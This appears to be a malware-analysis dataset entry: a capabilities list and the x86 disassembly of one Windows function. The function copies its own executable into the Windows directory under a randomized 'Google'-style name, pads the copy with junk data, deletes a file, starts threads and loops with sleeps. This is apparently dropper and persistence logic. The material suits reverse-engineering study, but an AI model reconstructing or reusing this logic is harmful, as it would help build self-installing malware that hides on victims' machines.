Function at 0x4028b0
Capabilities:
Copy file
Create thread
Delete file
Get common file path
Terminate process

Disassembly:
sub esp, 0x9a4
call fcn.00402570
test eax, eax
je 0x4028c4
call fcn.00402740
push ebx
push esi
push edi
lea ecx, [esp + 0x14]
call fcn.00401000
xor ebx, ebx
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
mov byte [esp + 0xc], 0x44
mov byte [esp + 0xd], 0x65
mov byte [esp + 0xe], 0x6e
mov byte [esp + 0xf], 0x67
mov byte [esp + 0x10], bl
push 1
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x10]
push ecx
push eax
push 0x628
lea ecx, [esp + 0x398]
push 0x404020
push ecx
lea ecx, [esp + 0x2c]
call fcn.00401040
mov ecx, 0x18a
lea esi, [esp + 0x388]
mov edi, 0x404020
rep movsd dword es:[edi], dword [esi]
call fcn.004024e0
test eax, eax
je 0x402c05
push 0x404f88
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x285]
mov byte [esp + 0x284], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea edx, [esp + 0x284]
push 0x104
push edx
push ebx
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x18]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea edi, [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x180]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0xd
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.00401830
push 0xc
mov esi, eax
call fcn.00401830
add esp, 8
lea ecx, [esi + eax + 0x61]
push ecx
push 0xd
call fcn.00401830
push 0xd
mov esi, eax
call fcn.00401830
add esp, 8
lea edx, [esi + eax + 0x61]
lea eax, [esp + 0x1c]
lea ecx, [esp + 0x1c]
push edx
push eax
push str._sGoogle_c_c.exe
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
lea edx, [esp + 0x2c]
lea eax, [esp + 0x298]
push edx
push eax
call fcn.004023f0
add esp, 0x1c
test eax, eax
jne 0x402b06
push ebp
lea ecx, [esp + 0x1c]
push 1
lea edx, [esp + 0x28c]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [esp + 0x288]
push eax
call fcn.00402250
lea ecx, [esp + 0x20]
add esp, 4
test ecx, ecx
je 0x402af1
lea edx, [esp + 0x1c]
push 0x404780
push edx
call dword [sym.imp.MSVCRT.dll_fopen]
mov ebp, eax
add esp, 8
cmp ebp, ebx
je 0x402af1
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x121]
mov byte [esp + 0x120], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x80
stosb byte es:[edi], al
call fcn.00401830
mov dl, al
mov ecx, 0x18
mov dh, dl
lea edi, [esp + 0x124]
mov eax, edx
push 0xff
shl eax, 0x10
mov ax, dx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.00401830
mov ecx, eax
add esp, 8
shl ecx, 6
add ecx, eax
lea eax, [eax + ecx*2]
shl eax, 3
je 0x402ae7
mov edi, dword [sym.imp.MSVCRT.dll_fputs]
mov esi, eax
lea edx, [esp + 0x120]
push ebp
push edx
call edi
add esp, 8
dec esi
jne 0x402ad6
push ebp
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
lea eax, [esp + 0x1c]
push eax
call fcn.004019c0
add esp, 4
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push ebx
push ebx
push ebx
push 0x4022f0
push ebx
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call edi
call fcn.00401ba0
test al, al
jne 0x402b33
call fcn.00401c30
test al, al
je 0x402b39
push ebx
call fcn.00401d00
call fcn.004027e0
test eax, eax
je 0x402b48
push ebx
call fcn.00401d00
push ebx
push ebx
push ebx
push fcn.00401d00
push ebx
push ebx
call esi
push eax
call edi
mov eax, dword [0x404430]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea ecx, [eax + eax*4]
shl ecx, 3
push ecx
call esi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x181]
mov byte [esp + 0x180], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x180]
lea edx, [esp + 0x180]
push 0x40477c
push edx
rep stosd dword es:[edi], eax
call fcn.00401890
lea eax, [esp + 0x188]
push eax
push 0x404020
call fcn.00401570
add esp, 0x10
test eax, eax
je 0x402bdb
lea ecx, [esp + 0x180]
push ecx
call fcn.00401a30
add esp, 4
call fcn.00401f30
cmp dword [0x404438], ebx
je 0x402be8
call fcn.00402000
mov eax, dword [0x404434]
lea eax, [eax + eax*2]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea edx, [eax + eax*4]
shl edx, 5
push edx
jmp 0x402b6f
lea eax, [esp + 0x180]
push 0x104
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x180]
push ecx
call fcn.004019c0
add esp, 4
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]